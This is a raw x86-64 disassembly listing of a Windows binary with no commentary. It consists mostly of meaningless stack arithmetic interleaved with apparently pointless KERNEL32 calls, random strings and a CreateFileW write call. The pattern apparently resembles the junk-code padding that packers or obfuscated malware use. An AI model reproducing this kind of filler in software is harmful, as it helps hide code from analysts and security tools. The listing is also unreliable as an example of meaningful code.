mov dword [rsp + 0xdde8], eax
mov rax, qword [rsp + 0x1aad0]
mov eax, dword [rax]
mov dword [rsp + 0xe0fc], eax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a198]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x7d4], al
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3bd8], ax
movzx eax, word [0x1402ad8f4]
mov rcx, qword [rsp + 0x1a618]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad764], ax
mov eax, dword [rsp + 0xd1f8]
mov dword [rsp + 0xe100], eax
mov rax, qword [rsp + 0x1a6f0]
mov rcx, qword [rsp + 0x19cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9734], eax
mov rax, qword [rsp + 0x1afd8]
mov rcx, qword [rsp + 0x1ade8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7eb8], eax
mov rax, qword [rsp + 0x1ad30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdc88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xde64], eax
lea rdx, [rsp + 0x1a908]
mov rcx, qword [rsp + 0x1a290]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xe104], eax
lea rcx, [rsp + 0x1ab80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdfbc], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcf24], eax
mov rax, qword [rsp + 0x19a18]
mov rcx, qword [rsp + 0x1a780]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd9b4], eax
lea rax, [rsp + 0x39e8]
mov qword [rsp + 0x1b0c0], rax
movsx eax, byte [rsp + 0x8e5]
mov rcx, qword [rsp + 0x19bb0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x682], al
mov rax, qword [rsp + 0x1a5d8]
movzx eax, word [rax]
mov word [rsp + 0x3c78], ax
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xe108], eax
lea rax, str.yR__
mov qword [0x1402bf308], rax
mov rax, qword [rsp + 0x19e88]
mov rcx, qword [rsp + 0x19f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd588], eax
mov rax, qword [rsp + 0x1a948]
mov rcx, qword [rsp + 0x1a3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1ac08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x808]
mov byte [rsp + 0x8e9], al
mov rax, qword [rsp + 0x1ab48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36bc], ax
mov rax, qword [rsp + 0x1aea8]
mov rcx, qword [rsp + 0x1a718]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb4f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x1aa00]
mov ecx, dword [rsp + 0xb2e4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb2f8], eax
mov eax, dword [rsp + 0xe060]
mov rcx, qword [rsp + 0x1a678]
mov qword [rsp + 0x1b0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b0c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb2a4], eax
mov eax, dword [rsp + 0xae58]
mov dword [rsp + 0xe10c], eax
mov rax, qword [rsp + 0x1ae70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3ae8]
xor eax, ecx
mov word [0x1402ad978], ax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x799], al
mov rax, qword [0x1402bf5d0]
mov eax, dword [rax]
mov dword [rsp + 0xe110], eax
mov eax, dword [rsp + 0xb368]
mov rcx, qword [rsp + 0x1a9e8]
mov qword [rsp + 0x1b0d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b0d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xbfa4], eax
mov rax, qword [rsp + 0x19c88]
movzx eax, byte [rax]
mov byte [rsp + 0x8ea], al
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xdc3c], eax
mov rax, qword [rsp + 0x1a028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1b0c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3820], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2d8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7ea], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2408], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xe018], eax
mov eax, dword [rsp + 0xbdd4]
mov ecx, dword [rsp + 0xd414]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdf24], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.LEhAXfV3546iyS_ntGHT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b0d8], rax
mov rax, qword [rsp + 0x1af30]
mov ecx, dword [rsp + 0xda68]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf5d8], eax
mov eax, dword [0x1402ad914]
mov dword [rsp + 0xe114], eax
mov rax, qword [rsp + 0x1aa50]
mov rcx, qword [rsp + 0x19f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdf84], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x1a820]
movzx eax, word [rax]
mov word [rsp + 0x3c7c], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60d]
imul eax, ecx
mov byte [rsp + 0x8d6], al
mov rax, qword [rsp + 0x1ab78]
mov rcx, qword [rsp + 0x1b0b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb0c0], eax
mov rax, qword [rsp + 0x19ac0]
mov rcx, qword [rsp + 0x19af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xe030], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb5b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x911c], eax
mov rax, qword [0x1402bf5c0]
mov rcx, qword [rsp + 0x1a338]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad97c], eax
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov word [rsp + 0x3c80], ax
movzx eax, byte [rsp + 0x816]
mov rcx, qword [rsp + 0x1af98]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x80f], al
mov rax, qword [0x1402bf3f0]
movzx eax, word [rax]
mov word [rsp + 0x3c84], ax
movzx ecx, word [rsp + 0x3a08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x37b8], ax
movsx eax, byte [rsp + 0x83c]
movsx ecx, byte [rsp + 0x850]
xor eax, ecx
mov rcx, qword [rsp + 0x1a1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xdcb0]
shr eax, cl
mov dword [rsp + 0xdff8], eax
lea rcx, str.E_4S.N6qZD.KD30d
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3ae0], ax
lea rax, [rsp + 0xdd44]
mov qword [rsp + 0x1b0e0], rax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a4a8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x39d4], ax
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7dc]
or eax, ecx
mov byte [rsp + 0x72d], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd4ac], eax
mov rax, qword [rsp + 0x1ae10]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7a0]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad7d4], eax
mov eax, dword [rsp + 0x8308]
mov ecx, dword [rsp + 0xddfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6dc], eax
lea rax, [0x1402bf560]
mov qword [rsp + 0x1b0e8], rax
mov rax, qword [rsp + 0x1aff8]
mov ecx, dword [rsp + 0xdb70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c48], eax
movzx eax, byte [rsp + 0x8a9]
movzx ecx, byte [rsp + 0x3cc]
add eax, ecx
mov byte [rsp + 0x73], al
movzx eax, word [0x1402ad72c]
mov word [rsp + 0x3c88], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xe118], eax
mov rax, qword [rsp + 0x19a30]
mov ecx, dword [rsp + 0xde00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd570], eax
mov eax, dword [rsp + 0xdd9c]
mov dword [rsp + 0xe11c], eax
mov eax, dword [0x1402ad89c]
mov ecx, dword [rsp + 0xb290]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd39c], eax
mov eax, dword [rsp + 0xc0fc]
mov dword [0x1402bf300], eax
mov rax, qword [rsp + 0x1a538]
mov ecx, dword [rsp + 0xdab0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd774], eax
movsx eax, word [rsp + 0x3890]
mov rcx, qword [rsp + 0x1a5f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a08], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1b068], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x19e30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x87d]
add eax, ecx
mov byte [rsp + 0x7d2], al
movzx eax, word [rsp + 0x3af4]
mov word [rsp + 0x3c8c], ax
movzx eax, byte [rsp + 0x8d4]
movzx ecx, byte [rsp + 0x848]
xor eax, ecx
mov byte [rsp + 0x7c0], al
mov rax, qword [rsp + 0x1aaa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcd10]
shr eax, cl
mov dword [rsp + 0xaba8], eax
mov rcx, qword [rsp + 0x199e0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xe120], eax
mov eax, dword [rsp + 0x8de8]
mov dword [rsp + 0xe124], eax
movzx eax, word [rsp + 0x3568]
cdq
mov ecx, 0xb7e
idiv ecx
mov word [rsp + 0x3744], ax
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e6]
shl eax, cl
mov byte [0x1402bf370], al
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdd60]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8824], eax
mov eax, dword [rsp + 0xdd54]
mov ecx, dword [rsp + 0xdef0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2b8], eax
mov rax, qword [rsp + 0x19e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4cc], eax
mov eax, dword [0x1402bf3b8]
mov dword [rsp + 0xe128], eax
movzx eax, word [rsp + 0x238c]
movzx ecx, word [rsp + 0x18d8]
sub eax, ecx
mov word [rsp + 0x3a44], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov byte [rsp + 0x8eb], al
mov rax, qword [0x1402bf628]
mov ecx, dword [rsp + 0xb3c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8160], eax
mov eax, dword [rsp + 0x8b9c]
mov dword [rsp + 0xe12c], eax
movsx eax, byte [rsp + 0x8ba]
movsx ecx, byte [rsp + 0x78b]
sub eax, ecx
mov byte [0x1402acc9f], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d70], ax
movzx eax, word [rsp + 0x3c34]
movzx ecx, word [rsp + 0x3960]
sub eax, ecx
mov word [rsp + 0x39c0], ax
mov rax, qword [rsp + 0x1afe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e8]
add eax, ecx
mov byte [rsp + 0x738], al
mov eax, dword [rsp + 0xd120]
mov ecx, dword [rsp + 0x8af4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9df8], eax
lea rax, [rsp + 0xa990]
mov qword [rsp + 0x1b0f0], rax
mov rax, qword [rsp + 0x1a5e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd018], eax
mov rax, qword [rsp + 0x1b0b8]
mov ecx, dword [rsp + 0xdf68]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1ab68]
mov dword [rcx], eax
mov eax, dword [rsp + 0xdd50]
mov dword [rsp + 0xe130], eax
movzx eax, byte [0x1402acb5b]
movzx ecx, byte [rsp + 0x10b]
or eax, ecx
mov byte [rsp + 0x7da], al
movzx eax, word [rsp + 0x3878]
movzx ecx, word [rsp + 0x242c]
shl eax, cl
mov word [0x1402ad8dc], ax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov dword [rsp + 0xe134], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov rcx, qword [0x1402bf3e0]
mov qword [rsp + 0x1b0f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b0f8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x1a780]
mov dword [rcx], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd544], eax
mov rax, qword [rsp + 0x1ac88]
mov ecx, dword [rsp + 0xcee8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8238], eax
movzx eax, word [rsp + 0x2bb0]
mov rcx, qword [rsp + 0x1ae88]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3c80], ax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
mov byte [rsp + 0x8ec], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xdfbc], eax
movsx eax, byte [rsp + 0x807]
movsx ecx, byte [rsp + 0x7d9]
sub eax, ecx
mov byte [rsp + 0x87c], al
movzx eax, word [rsp + 0x380c]
mov word [rsp + 0x3c90], ax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0f4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf380], eax
mov rax, qword [rsp + 0x1ac80]
mov eax, dword [rax]
mov ecx, dword [0x1402ad7dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3b0], eax
mov rax, qword [rsp + 0x1a398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x872]
sub eax, ecx
mov byte [rsp + 0x85c], al
lea rax, [rsp + 0x2408]
mov qword [rsp + 0x1b100], rax
mov eax, dword [rsp + 0xda68]
mov ecx, dword [0x1402ad788]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce28], eax
mov rax, qword [rsp + 0x1aea0]
mov rcx, qword [rsp + 0x1a680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8cb0], eax
mov rax, qword [rsp + 0x1a938]
mov ecx, dword [rsp + 0xc4b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2c4], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd7f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cc0], eax
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov word [rsp + 0x3c94], ax
mov rax, qword [rsp + 0x1a878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x738]
or eax, ecx
mov byte [0x1402accaa], al
mov rax, qword [rsp + 0x1a608]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a948]
mov qword [rsp + 0x1b108], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b108]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xdb7c], eax
mov rax, qword [rsp + 0x1a200]
mov eax, dword [rax]
mov dword [rsp + 0xe138], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198e0]
mov qword [rsp + 0x1b110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b110]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd010], eax
mov rax, qword [rsp + 0x1a108]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xdb58], eax
mov eax, dword [rsp + 0xce30]
mov ecx, dword [rsp + 0xba70]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc034], eax
movsx eax, byte [rsp + 0x86c]
movsx ecx, byte [rsp + 0x8d0]
sub eax, ecx
mov byte [rsp + 0x79e], al
mov rax, qword [rsp + 0x1a118]
movzx eax, word [rax]
mov word [rsp + 0x3c98], ax
movzx eax, word [rsp + 0x3a24]
movzx ecx, word [0x1402ad6c4]
sub eax, ecx
mov word [rsp + 0x3b90], ax
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
and eax, ecx
mov byte [0x1402acc8b], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov eax, dword [rsp + 0xd330]
mov ecx, dword [rsp + 0xd0dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcda8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd7dc], eax
mov eax, dword [rsp + 0xdc08]
mov dword [rsp + 0xe13c], eax
mov rax, qword [rsp + 0x1b008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x868]
sub eax, ecx
mov rcx, qword [rsp + 0x1a120]
mov byte [rcx], al
mov rcx, qword [rsp + 0x19f40]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xe140], eax
movzx eax, word [rsp + 0x37a4]
mov word [rsp + 0x3c9c], ax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa098], eax
mov rax, qword [rsp + 0x1afb0]
mov ecx, dword [rsp + 0xcdf4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbe94], eax
mov rax, qword [rsp + 0x19cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd160]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdd68], eax
mov rax, qword [rsp + 0x1ade8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c60]
mov qword [rsp + 0x1b118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b118]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xdcc8], eax
lea rax, [rsp + 0x3738]
mov qword [0x1402bf2f8], rax
movzx eax, byte [rsp + 0x7aa]
mov byte [rsp + 0x8ed], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x1ab70]
mov rcx, qword [rsp + 0x1aaa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9058], eax
lea rdx, [rsp + 0x2c238]
mov rcx, qword [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcf44], eax
mov rax, qword [rsp + 0x1af30]
mov eax, dword [rax]
mov dword [rsp + 0xe144], eax
movsx eax, byte [rsp + 0x826]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x502], al
movsx eax, word [rsp + 0x3970]
mov rcx, qword [rsp + 0x1acd0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3704], ax
movzx eax, byte [rsp + 0x7d8]
movzx ecx, byte [rsp + 0x860]
imul eax, ecx
mov byte [rsp + 0x6fd], al
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2978]
and eax, ecx
mov word [rsp + 0x3934], ax
mov eax, dword [rsp + 0xcfac]
mov dword [rsp + 0xe148], eax
mov eax, dword [rsp + 0xb984]
mov ecx, dword [rsp + 0xd928]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf520], eax
mov rax, qword [rsp + 0x1a3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xda34], eax
mov eax, dword [rsp + 0x873c]
mov ecx, dword [rsp + 0xc220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa974], eax
mov rax, qword [rsp + 0x1aca8]
mov eax, dword [rax]
mov dword [rsp + 0xe14c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1b120], rax
movzx eax, byte [0x1402acb47]
mov rcx, qword [rsp + 0x1a558]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b2], al
lea rax, [rsp + 0x39ac]
mov qword [rsp + 0x1b128], rax
mov eax, dword [rsp + 0x9500]
mov ecx, dword [rsp + 0xa95c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdedc], eax
mov rax, qword [0x1402bf3d0]
mov ecx, dword [rsp + 0xa830]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa97c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd2c8], eax
mov rax, qword [rsp + 0x1aea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9124], eax
mov rax, qword [rsp + 0x1ac10]
mov ecx, dword [rsp + 0x8b9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad980], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3bb0]
add eax, ecx
mov word [rsp + 0x3b14], ax
mov rax, qword [rsp + 0x1ac60]
movzx eax, byte [rax]
mov byte [rsp + 0x8ee], al
movsx eax, byte [0x1402bf3ca]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0x19f90]
movzx eax, word [rax]
mov word [rsp + 0x3ca0], ax
mov rax, qword [rsp + 0x1aa00]
mov rcx, qword [rsp + 0x19db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1aca0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb368]
mov rcx, qword [rsp + 0x1a938]
mov qword [rsp + 0x1b130], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b130]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xdd64], eax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6b9], al
movzx eax, word [rsp + 0x21ec]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x238c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xe118], eax
mov rax, qword [rsp + 0x1ac88]
mov eax, dword [rax]
mov dword [0x1402bf2f0], eax
lea rax, [rsp + 0xcee4]
mov qword [rsp + 0x1b138], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x1ac90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdc2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf64], eax
mov rax, qword [rsp + 0x1a578]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x83e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6d8], eax
movzx eax, word [rsp + 0x38c8]
mov word [rsp + 0x3ca4], ax
mov rax, qword [rsp + 0x1a198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85f]
sub eax, ecx
mov byte [rsp + 0x7ef], al
mov eax, dword [rsp + 0x7eec]
mov dword [rsp + 0xe150], eax
mov rax, qword [rsp + 0x1a9e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce64], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x19e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd828]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xe148], eax
mov eax, dword [rsp + 0xdc80]
mov ecx, dword [rsp + 0xced0]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf5b4], eax
mov eax, dword [rsp + 0xd810]
mov dword [rsp + 0xe154], eax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf3c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x84b], al
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3978]
sub eax, ecx
mov word [rsp + 0x33b4], ax
movzx eax, word [rsp + 0x38e8]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d6c], ax
mov rax, qword [0x1402bf510]
movzx eax, byte [rax]
mov byte [rsp + 0x8ef], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xe158], eax
mov eax, dword [rsp + 0xdd04]
movzx ecx, al
mov eax, dword [rsp + 0xafcc]
shl eax, cl
mov dword [rsp + 0xd6e4], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe09c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9b4], eax
lea rax, [0x1402bf47c]
mov qword [rsp + 0x1b140], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rcx, qword [rsp + 0x1aec0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xdaac], eax
mov rax, qword [rsp + 0x1a4c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a7c8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1402ad984], ax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdf4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xca00], eax
mov rax, qword [rsp + 0x1afd8]
mov eax, dword [rax]
mov dword [rsp + 0xe15c], eax
mov eax, dword [rsp + 0xced0]
mov rcx, qword [rsp + 0x1aea8]
mov qword [rsp + 0x1b148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b148]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xb3c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [0x1402bf6f4]
mov ecx, dword [rsp + 0xdc48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4a4], eax
lea rax, [rsp + 0x88a]
mov qword [rsp + 0x1b150], rax
movzx eax, word [rsp + 0x3920]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19ec0]
mov word [rcx], ax
lea rcx, [rsp + 0x1a670]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xdbc8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rax, [rsp + 0xe08c]
mov qword [rsp + 0x1b158], rax
mov rax, qword [rsp + 0x1a8d8]
mov ecx, dword [rsp + 0xda88]
mov eax, dword [rax]
sub eax, ecx
